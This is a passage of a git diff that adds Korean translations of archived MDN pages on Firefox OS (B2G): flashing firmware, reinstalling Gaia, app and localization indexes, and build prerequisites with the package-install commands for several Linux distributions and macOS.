+  <li>heimdall을 써서 B2G 펌웨어를 두번째 파티션에 다운로드합니다:
+    <pre>heimdall flash --hidden system.img</pre>
+  </li>
+</ol>
+<p>다운로드가 끝나면, 폰이 리부팅 될꺼고, 부팅 시에 부트로더가 기다리는 동안 홈 버튼을 누름으로써 두번째 롬(B2G)로 부팅할 수 있습니다. 문제 없이 설치가 잘 되었다면, B2G로 부팅한 직후 까만 화면을 보게 될 것입니다. 이제 Gaia를 설치해야 합니다.</p>
+<div class="note">
+  <strong>참고:</strong> B2G를 어떻게 테스트 하고 싶은가에 따라서는, 기존의 것에서 새로운 data.img 파일로의 교체는 기존의 모든 설정, 설치된 어플리케이션들, 그리고 B2G를 사용하면서 행한 모든 것을 날려야 함을 의미하므로, <span style="line-height: 1.5em;">B2G를 업데이트 할 때마다 data.img 파일을 갱신하고 싶지는 않을 수 있을 겁니다.</span></div>
+<h2 id="부팅">부팅</h2>
+<p>매번 B2G로 부팅할 때마다 다음의 동작을 해줘야 합니다.</p>
+<p>안타깝게도, Gaia를 system.img B2G image에 간단히 넣는 방법은 없고, 폰을 끌 때마다 Gaia는 사라지므로, 매번 B2G로 부팅할 때마다 Gaia를 다시 설치해 줘야 합니다. Gaia를 설치하기 위해서는, 폰을 B2G로 부팅하고(폰은 검은 화면을 보이고 있을 겁니다) PC와 연결한 후에 다음과 같은 명령을 입력합니다:</p>
+<pre>cd B2G/gaia
+GAIA_DOMAIN=foo.org make install-gaia</pre>
+<p>Gaia의 다운로드가 끝나면, 폰은 B2G 인터페이스가 나타날 겁니다.</p>
diff --git a/files/ko/archive/b2g_os/firefox_os_apps/index.html b/files/ko/archive/b2g_os/firefox_os_apps/index.html
new file mode 100644
index 0000000000..370236dd14
--- /dev/null
+++ b/files/ko/archive/b2g_os/firefox_os_apps/index.html
@@ -0,0 +1,85 @@
+---
+title: Firefox OS apps
+slug: Archive/B2G_OS/Firefox_OS_apps
+tags:
+  - Apps
+  - Building
+  - Components
+  - Firefox OS
+  - Installing
+  - NeedsTranslation
+  - TopicStub
+  - device APIs
+translation_of: Archive/B2G_OS/Firefox_OS_apps
+---
+<p class="summary">This section of the Firefox OS docs covers the specific techniques required — and available tools — for building Firefox OS apps. You'll find a number of details below, from Firefox OS building blocks/web components, to device APIs and App installation.</p>
+
+<h2 id="Building_Firefox_OS_apps">Building Firefox OS apps</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS">Building apps for Firefox OS</a></dt>
+ <dd>Firefox OS/Firefox platform app specifics, including App installation and management APIs, manifest files, packaged and hosted apps, handling API permissions.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Localization">Localization</a></dt>
+ <dd>This set of articles provides information for developers wishing to provide localized versions of their apps.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Performance">Performance</a></dt>
+ <dd>This page lists performance-related topics specific to Firefox OS.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_Accounts_on_Firefox_OS">Firefox Accounts on Firefox OS</a></dt>
+ <dd>This article provides an overview of using <a href="/en-US/docs/Mozilla/Tech/Firefox_Accounts">Firefox Accounts</a> in Firefox OS.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Reference_apps">Reference apps</a></dt>
+ <dd>This page lists a number of sample apps we've put together for you to download, install, play with and learn from. Have fun!</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Screencast_series:_App_Basics_for_Firefox_OS">Screencast series: App Basics for Firefox OS</a></dt>
+ <dd>In this collection of short videos, developers from Mozilla and Telenor explain in a few steps how you can get started with building applications for Firefox OS.</dd>
+</dl>
+
+<h2 id="Building_blocks">Building blocks</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Building_blocks">Building Blocks</a></dt>
+ <dd>The Firefox OS Building Blocks are reusable UI components (also called 'common controls') that reflect OS-wide design patterns. Building Blocks are used to create the interfaces of all <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Gaia">Gaia</a> default apps. You are free to make use of these components in your own Firefox OS apps, or general Web apps.</dd>
+</dl>
+
+<h2 id="Styleguides">Styleguides</h2>
+
+<dl>
+ <dt><a href="http://www.mozilla.org/en-US/styleguide/products/firefox-os/">Firefox OS Visual styleguide</a></dt>
+ <dd>Our style guide for Firefox OS visual design, covering colours, typeface, backgrounds, app icons, and the design of specific UI elements.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Copy_styleguide">Firefox OS Copy styleguide</a></dt>
+ <dd>This guide outlines the rules we follow for writing Firefox OS app copy, but can be used as a general guide to writing good copy for any app interfaces.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_OS_in_Arabic">Firefox OS in Arabic</a></dt>
+ <dd>A guide to the specific UX design implementation Firefox OS has in place for dealing with Arabic (and other RTL languages.)</dd>
+</dl>
+
+<h2 id="Assets">Assets</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Design_asset_library">Firefox OS design asset library</a></dt>
+ <dd>In this section you'll find design assets, artwork, graphic templates, fonts and other materials that will be helpful as you design Firefox OS/Gaia apps.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Icon_font">Firefox OS icon font</a></dt>
+ <dd>Firefox OS has its own icon font set available: this article explains how to use it in your own apps.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Transitions">Firefox OS transitions</a></dt>
+ <dd>A reference to some of the transitions used in Firefox OS to move between different states in apps, including animated GIFs demonstrating the animations used, plus code samples to show the CSS animation code needed to implement these animations.</dd>
+</dl>
+
+<h2 id="References">References</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_OS_device_APIs">Firefox OS device APIs</a></dt>
+ <dd>This article provides a list of pages covering those APIs, as well as the <a href="https://developer.mozilla.org/en-US/Apps/Build/Manifest">app manifest</a> permissions for each one.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_OS_app_tools">Firefox OS app tools</a></dt>
+ <dd>This page provides a list of useful tools, libraries, examples, etc. that are useful for Firefox OS app developers, whether you want a code template to copy, or need help with adding a specific feature to your Firefox OS app.</dd>
+</dl>
+
+<h2 id="Other_app_topics">Other app topics</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Porting_Chrome_apps">Porting Chrome apps to Firefox OS Apps</a></dt>
+ <dd>This article discusses the differences between Chrome apps and Firefox OS Apps, and how you can convert between the two.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/App_development_FAQ">App development FAQ</a></dt>
+ <dd>This FAQ is a compilation of answers to common app development questions.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Marketplace">Firefox Marketplace</a></li>
+</ul>
diff --git a/files/ko/archive/b2g_os/firefox_os_apps/localization/index.html b/files/ko/archive/b2g_os/firefox_os_apps/localization/index.html
new file mode 100644
index 0000000000..f6e97ebe92
--- /dev/null
+++ b/files/ko/archive/b2g_os/firefox_os_apps/localization/index.html
@@ -0,0 +1,92 @@
+---
+title: App localization
+slug: Archive/B2G_OS/Firefox_OS_apps/Localization
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Localization
+---
+<p></p><section class="Quick_links" id="Quick_Links">
+
+<ol>
+  <li class="toggle">
+      <details>
+          <summary>Build and install</summary>
+          <ol>
+            <li><strong><a href="/ko/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Porting B2G OS</summary>
+          <ol>
+            <li><strong><a href="/ko/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Developing Gaia</summary>
+          <ol>
+            <li><strong><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li>
+          </ol>
+      </details>
+  </li>
+  <li><a href="/ko/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li>
+</ol>
+</section><p></p>
+
+<div class="summary">
+<p><span class="seoSummary">이 글 모음은 앱의 지역화 버전을 만들고 싶어하는 개발자들을 위해정보를 제공하기 위하여 작성하였습니다.</span></p>
+</div>
+
+<h2 id="지침서">지침서</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/Apps/Build/Localization/Getting_started_with_app_localization">Getting started with app localization</a>(앱 지역화를 시작하기)</dt>
+ <dd>이 지침서는 앱 지역화를 자세한 가이드를 제공합니다.</dd>
+ <dt><a href="/en-US/Apps/Build/Localization/App_Localization_with_Transifex">Connecting developers and translators with Transifex</a></dt>
+ <dd>This article explores the use of <a href="https://www.transifex.com/">Transifex</a> for managing translation work, both for app developers and localizers.</dd>
+</dl>
+
+<h2 id="Reference">Reference</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Apps/Build/Localization/L10n.js_reference">L10n.js reference</a></dt>
+ <dd>This article provides a reference for the l10n.js library, and its associated date helper, l10n_date.js.</dd>
+ <dt><a href="/en-US/docs/Web/Apps/Build/Localization/Internationalization_helpers_IntlHelper_and_mozIntl">Internationalization helpers: IntlHelper and mozIntl</a></dt>
+ <dd>This article looks at how Firefox OS handles localization of dates, times, numbers and collators from version 2.5 onwards, using the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl">Internationalization API</a> and Gaia's built in helpers, <a href="https://github.com/mozilla-b2g/gaia/blob/master/shared/js/intl_helper.js">IntlHelper</a> and <a href="https://github.com/mozilla-b2g/gaia/blob/master/shared/js/moz_intl.js">mozIntl</a>.</dd>
+ <dt><a href="/en-US/docs/Web/Apps/Build/Localization/Localization_code_best_practices">App localization code best practices</a></dt>
+ <dd>Localization best practices and advanced techniques for experienced Gaia/app developers.</dd>
+ <dt><a href="/en-US/Apps/Build/Localization/Developing_Bidi_Apps">Developing Bidi Apps</a></dt>
+ <dd>Best coding practices and guidelines for developing bi-directional (<em>left-to-right</em> and <em>right-to-left</em>, RTL) apps.</dd>
+</dl>
+
+<h2 id="Tools">Tools</h2>
+
+<dl>
+ <dt><a href="https://github.com/robnyman/TranslationTester">Translation tester</a></dt>
+ <dd>This app is for testing translations for Firefox OS apps and provides a blueprint for adding translation support to your own apps.</dd>
+</dl>
diff --git a/files/ko/archive/b2g_os/firefox_os_build_prerequisites/index.html b/files/ko/archive/b2g_os/firefox_os_build_prerequisites/index.html
new file mode 100644
index 0000000000..25a7f50191
--- /dev/null
+++ b/files/ko/archive/b2g_os/firefox_os_build_prerequisites/index.html
@@ -0,0 +1,267 @@
+---
+title: Firefox OS build prerequisites
+slug: Archive/B2G_OS/Firefox_OS_build_prerequisites
+translation_of: Archive/B2G_OS/B2G_OS_build_prerequisites
+---
+<p> </p>
+<div class="warning">
+ <strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/02/25)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+<div class="summary">
+ <p id=".C2.A0"><span style="line-height: inherit;">Firefox OF 빌드 코드를 받기 전에, 빌드 환경을 먼저 구축 하셔야 합니다. 현재까지는 리눅스 64비트 버젼 및 맥 OS X에서만 빌드 하실 수 있습니다.</span></p>
+</div>
+<div class="note">
+ <h5 id="Note_Firefox_OS를_올리기_위한_스마트폰을_빌드_시작전에_컴퓨터에_연결하지_마십시오_언제_연결할지_알려_줄_것입니다.">Note: <span style="font-size: 14px; font-weight: normal; line-height: 1.5;">Firefox OS를  올리기 위한 스마트폰을 빌드 시작전에 컴퓨터에 연결하지 마십시오, 언제 연결할지 알려 줄 것입니다.</span></h5>
+</div>
+<h2 id="지원되는_단말기_및_에뮬레이터">지원되는 단말기 및 에뮬레이터</h2>
+<p><span id="answer_long0" style="display: block;">몇몇의 단말기가 지원되기도 하지만, 어떤 단말기에서는 다양하게 변경이 가능합니다. 지금까지는 특별한 목적(특징)으로 분류되어 있습니다. 그리고 어떤 기기는 다른 기기들보다 지원이 더 잘되기도 합니다. </span></p>
+<h3 id="분류1">분류1</h3>
+<p>분류1 에 속하는 기기는 개발의 주요 대상이 되는 기기며 전반적으로 기능의 첫 번째 구현 대상 혹은 최신 버그들이 처음으로 수정되는 대상 기기입니다.</p>
+<dl>
+ <dt>
+  오토로</dt>
+ <dd>
+  오토로는 중저가 스마트폰의 플랫폼 개발 혹은 테스트용으로 사용됩니다. 많은 핵심 Firefox OS개발에 사용되는 기기입니다</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_emulators" style="line-height: 1.5;" title="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_emulators">에뮬레이터 (ARM and x86)</a></dt>
+ <dd>
+  에뮬레이터는 ARM코어와 X86(PC용)코어 두가지가 있습니다.</dd>
+ <dt>
+  Koen</dt>
+ <dd>
+  Keon은 <a href="http://www.geeksphone.com/" title="http://www.geeksphone.com/">Geeksphone</a>의 초기의 개발자 폰중에 하나 입니다. Koen은 Geeksphone에서 빌드 방법을 제공합니다.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client" title="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client">데스크탑</a></dt>
+ <dd>
+  데스크탑용 Firefox OF도 있습니다; 이는 <a href="/en-US/docs/XULRunner" title="/en-US/docs/XULRunner">XULRunner</a> application에서 <a href="https://developer.mozilla.org/en-US/docs/Gecko" title="/en-US/docs/Gecko">Gecko</a>를 실행 하는 것이며, <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Introduction_to_Gaia" title="/en-US/docs/Mozilla/Boot_to_Gecko/Introduction_to_Gaia">Gaia</a> user experience를 Gecko에서 사용 가능합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  Flame</dt>
+ <dd>
+  Flame은 Mozilla의 새로운 표준 Firefox OS의 기준 폰입니다. ZTE Open C를 위한 빌드를 할 때 Flame의 설정을 사용해야 합니다. Flame과 Open C는 안드로이드 젤리빈이 기반 시스템 입니다.</dd>
+</dl>
+<p>당연히, 데스크탑 클라이언트를 빌드 할 수 있으며 단말기 없이도 에뮬레이터를 사용할 수 있습니다..</p>
+<h3 id="분류_2">분류 2</h3>
+<p><span id="answer_long1" style="display: block;">분류 2의 단말기들은 기본기능 개발을 위해(특히 어플리케이션 개발자들) 사용 됩니다. 그렇기 때문에 분류 1다음으로 최신 코드들이 반영됩니다.</span></p>
+<dl>
+ <dt>
+  <a class="link-https" href="https://en.wikipedia.org/wiki/Nexus_S#Variants" title="https://en.wikipedia.org/wiki/Nexus_S#Variants">Samsung Nexus S</a></dt>
+ <dd>
+  넥서스 S로 잘알려진 모델로 상세 모델로는 GT-I9020A, GT-I9023이기도 합니다. 그외 넥서스 S모델들도 사용 가능합니다.</dd>
+ <dt>
+  Samsung Nexus S 4G</dt>
+ <dd>
+  모델명 SPH-D720가 분류 2에 포함 됩니다.</dd>
+</dl>
+<h3 id="분류_3">분류 3</h3>
+<p><span id="answer_long1" style="display: block;">Firefox OS가 아래와 같은 단말기 들로 빌드 될 수도 있지만, 코어 개발 및 기본 기능들이 실제로 잘 반영되지 않아 정상적으로 동작 하지 않을 수도 있습니다. 분류 1, 2보다 안정성이 떨어지므로 참고하시기 바랍니다.</span></p>
+<dl>
+ <dt>
+  Samsung Galaxy S2</dt>
+ <dd>
+  모델 명 i9100; 다른 모델은 호환되지 않을 수 있습니다. (NFC칩만 추가된 i9100P모델인 경우에는 동작 할 수 있습니다.)</dd>
+ <dt>
+  Samsung Galaxy Nexus</dt>
+ <dd>
+  최근에는 지원되지 않는 모델입니다.</dd>
+ <dt>
+  Nexus 4</dt>
+ <dd>
+  IRC에 일부 사용자들이 성공적으로 테스트를 했습니다. Android 4.4를 처음으로 실행 하면 Android 4.3을 재 Flash를 요구 할 수 도 있고 그렇지 않을 수 도 있습니다.( <a href="https://developers.google.com/android/nexus/images#occamjwr66y">안드로이드 이미지는 구글로 부터 이용할 수 있다</a>.)</dd>
+ <dt>
+  Nexus 5</dt>
+ <dd>
+  IRC에 일부 사용자들이 성공적으로 테스트를 했습니다. </dd>
+ <dt>
+  Tara</dt>
+ <dd>
+  Tara is another testing device. Manifest of Tara is in master branch only. The script of getting Tara code is "BRANCH=master ./config.sh tara".</dd>
+ <dt>
+  Unagi</dt>
+ <dd>
+  우나기는 중저가 스마트폰의 플랫폼 개발 혹은 테스트용으로 사용됩니다. 많은 핵심 Firefox OS개발에 사용되는 기기입니다.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Pandaboard" style="font-weight: bold; line-height: 1.5;" title="/en-US/docs/Mozilla/Boot_to_Gecko/Pandaboard">판다보드</a></dt>
+ <dd>
+  판다보드는 모바일용 플랫폼으로 사용되는 OMAP 4 시스템용 보드 개발용으로 사용됩니다.</dd>
+ <dd>
+   </dd>
+ <dt>
+   </dt>
+ <dt>
+   </dt>
+</dl>
+<div class="warning">
+ <strong>중요</strong>: 단말기는 최소한 <strong>안드로이드 4</strong> (즉 아이스크림 샌드위치)가 지원되어야 합니다. 위에 언급된 단말기중 안드로이드 4보다 낮은 버젼이라면 업데이트 하시기 바랍니다.</div>
+<div class="note">
+ <h2 id="분류_2와_분류_3_단말은_홈_버튼이_없다">분류 2와 분류 3 단말은 홈 버튼이 없다</h2>
+ <p>분류 1의 모든 단말은 하드웨어 홈 버튼이 있어서 사용자가 홈 스크린으로 돌아갈 수 있습니다. 최근 대부분의 ICS 안드로이드 단말은 네비게이션을 위해서 화면상에 소프트웨어 홈 버튼을 사용합니다. 카메라 앱 같이 몇몇 앱에서는 하드웨어 홈버튼 없이 앱을 빠져나올 수 없습니다. 이것은 FireFox OS가 매일매일 사용하는데 부적절할 수 있게 합니다.</p>
+</div>
+<p> </p>
+<h2 id="리눅스_요구사항">리눅스 요구사항</h2>
+<p>리눅스에서의 빌드 환경은 아래와 같습니다:</p>
+<ul>
+ <li>An installed <strong>64 bit GNU/Linux</strong> distribution (추천 버전 : 우분투 12.04).</li>
+ <li>최소 <strong>4 GB</strong> 램/스왑 공간.</li>
+ <li>최소 <strong>20 GB</strong> 이상의 하드 공간.</li>
+</ul>
+<p>위의 사항은 단순히 최소사양이며, 가끔은 리소스가 없어서 빌드 실패가 되기도 합니다.</p>
+<p>다른 리눅스 배포판에서도 빌드가 될수도 있으나, 우분투 12.04 배포판에서는 대부분의 개발자들이 빌드에 성공 했으므로 이를 추천 합니다. 아래 배포판들은 <strong>다음과 같은 이유로 빌드 되지 않을 수 있습니다.</strong>: <strong>32 비트 디스트로 와 최신 디스트로</strong>( <strong>우분투 12.10, 페도라 17/18, 아크 리눅스의 </strong><strong>gcc 4.7</strong>으로 인해 오류 발생 가능성 있음).</p>
+<p>그외 아래와 같은 툴들이 설치 되어 있어야 합니다:</p>
+<ul>
+ <li><strong>autoconf 2.13</strong></li>
+ <li><strong>bison</strong></li>
+ <li><strong>bzip2</strong></li>
+ <li><strong>ccache</strong></li>
+ <li><strong>curl</strong></li>
+ <li><strong>flex</strong></li>
+ <li><strong>gawk</strong></li>
+ <li><strong>git</strong></li>
+ <li><strong>gcc / g++ / g++-multilib</strong> <strong>(4.6.3 or older)</strong></li>
+ <li><strong>make</strong></li>
+ <li><strong>OpenGL headers</strong></li>
+ <li><strong>X11 headers</strong></li>
+ <li><strong>32-bit ncurses</strong></li>
+ <li><strong>32-bit zlib</strong></li>
+</ul>
+<h3 id="64_비트에서의_설치_예시"><strong>64 비트에서의 설치 예시:</strong></h3>
+<p><strong>우분투 12.04 / 리눅스 민트 13 / 데비안 6</strong></p>
+<pre>$ sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make zip</pre>
+<p class="note">64비트 우분투에서 빌드할때는, 32비트 버전의 <code>libX11.so</code>와 <code>libGL.so</code>를 심볼릭 링크로 추가 하셔야 합니다.</p>
+<pre class="note">$ sudo ln -s /usr/lib/i386-linux-gnu/libX11.so.6 /usr/lib/i386-linux-gnu/libX11.so
+$ sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1 /usr/lib/i386-linux-gnu/libGL.so</pre>
+<p><strong>우분투 12.10</strong></p>
+<pre>$ sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make zip</pre>
+<p class="note">위의 단계 외 추가로, 빌드 하기 전에 GCC 4.6를 기본 호스트 컴파일러로 설정 하여야 합니다. 소스를 가저 온 후에는 "<a href="/en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler" title="en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">여기"</a> 참고 하세요.</p>
+<p class="note">최신 우분투 12.10을 설치 한후, "unmet dependenceis for ia32-libs"에러가 발생 할 것입니다. 아래와 같이 수행 하여 수정 하시기 바랍니다.</p>
+<pre>sudo dpkg --add-architecture i386
+sudo apt-get update
+sudo apt-get install ia32-libs</pre>
+<p><strong>Fedora 16:</strong></p>
+<pre class="note">$ sudo yum install autoconf213 bison bzip2 ccache curl flex gawk gcc-c++ git glibc-devel glibc-static libstdc++-static libX11-devel make mesa-libGL-devel ncurses-devel patch zlib-devel ncurses-devel.i686 readline-devel.i686 zlib-devel.i686 libX11-devel.i686 mesa-libGL-devel.i686 glibc-devel.i686 libstdc++.i686 libXrandr.i686 zip</pre>
+<p><strong>Fedora 17/18:</strong></p>
+<pre class="note">$ sudo yum install autoconf213 bison bzip2 ccache curl flex gawk gcc-c++ git glibc-devel glibc-static libstdc++-static libX11-devel make mesa-libGL-devel ncurses-devel patch zlib-devel ncurses-devel.i686 readline-devel.i686 zlib-devel.i686 libX11-devel.i686 mesa-libGL-devel.i686 glibc-devel.i686 libstdc++.i686 libXrandr.i686 zip</pre>
+<p><span style="line-height: inherit;">위와 같이 프로젝트는 컴파일 하려면 GCC 4.4가 필요합니다. </span><a href="http://people.mozilla.org/~gsvelto/gcc-4.4.7-bin.tar.xz" style="line-height: inherit;" title="http://people.mozilla.org/~gsvelto/gcc-4.4.7-bin.tar.xz">여기</a><span style="line-height: inherit;">서 미리 컴파일된 버전을 구할 수 있으니 아래 명령을 따라 다운로드후 </span><code style="font-size: 14px; line-height: inherit;">/opt</code><span style="line-height: inherit;">에 설치하세요:</span></p>
+<pre class="note">$ wget http://people.mozilla.org/~gsvelto/gcc-4.4.7-bin.tar.xz
+$ sudo tar -x -a -C /opt -f gcc-4.4.7-bin.tar.xz
+</pre>
+<p>이 컴파일러를 항상 호스트의 기본 컴파일러로 지정한 후에 빌드 작업을 해야합니다. 소스를 얻은 후에  <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler" title="en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">here</a>를 따라 확인해 주세요.</p>
+<p><strong style="line-height: inherit;">Arch Linux (not functional yet):</strong></p>
+<pre class="note">$ sudo <span style=""><span style="">pacman -S --needed </span></span><span style=""><span style="">alsa-lib </span></span><span style=""><span style="">autoconf2.13</span></span><span style=""><span style=""> bison</span></span><span style=""><span style=""> ccache</span></span><span style=""><span style=""> </span></span><span style=""><span style="">curl firefox </span></span><span style=""><span style="">flex </span></span><span style=""><span style="">gcc-multilib </span></span><span style=""><span style="">git </span></span><span style=""><span style="">gperf </span></span><span style=""><span style="">libnotify </span></span><span style=""><span style="">libxt </span></span><span style=""><span style="">libx11 mesa multilib-devel </span></span><span style=""><span style="">wireless_tools </span></span><span style=""><span style="">yasm</span></span><span style=""><span style=""> </span></span><span style=""><span style="">lib32-mesa </span></span><span style=""><span style="">lib32-ncurses lib32-readline</span></span><span style=""><span style=""> </span></span><span style=""><span style="">lib32-zlib</span></span></pre>
+<p>기본적으로 Arch 리눅스는 Python3을 사용하는데 이것을 이전 Python2로 사용해야 합니다:</p>
+<pre><span style=""><span style="">$ cd /usr/bin</span></span>
+
+<span style=""><span style="">$ sudo ln -fs python2 python</span></span></pre>
+<h2 id="Mac_OS_X를_위한_요구사항">Mac OS X를 위한 요구사항</h2>
+<p>Mac OS X에서 Firefox OS를 빌드하기 위해서 Xcode 명령라인 도구들을 설치해야 합니다.</p>
+<p><a href="https://developer.apple.com/downloads/" style="line-height: inherit;" title="https://developer.apple.com/downloads/">Apple's developer downloads page</a><span style="line-height: inherit;"> 에서 </span><span style="line-height: inherit;">OS X의 특정 버전에 적절한 </span><span style="line-height: inherit;">명령라인 도구를 바로 다운로드 해서 사용할 수 있습니다.</span></p>
+<p> </p>
+<p>그러나 Xcode 전체를 사용하고자 하면 <a href="http://itunes.apple.com/us/app/xcode/id497799835?mt=12" title="http://itunes.apple.com/us/app/xcode/id497799835?mt=12">Mac App Store</a>에서 설치할 수 있습니다.</p>
+<p><strong>XCode 4.3.1 이상 최신버전에서 명령라인 도구 설치하기</strong></p>
+<p>Xcode 4.3.1(OS X 10.7 "Lion")과 최신 4.4.1+(Mac OS X 10.8 "Mountain Lion")은 명령라인 도구를 포함하고 있지 않습니다. Xcode의 Preferences 메뉴로 가서 Downloads 패널로 갑니다. 이곳에서 'Command Line Tools'를 설치합니다. 설치를 위해서 최소 20 GB 공간의 여유가 있어야 합니다.</p>
+<p><img alt="Screenshot of Xcode Downloads Command Line Tools" src="/files/4557/xcode_downloads_command_line_tools.png" style="width: 750px; height: 528px;"></p>
+<div class="note">
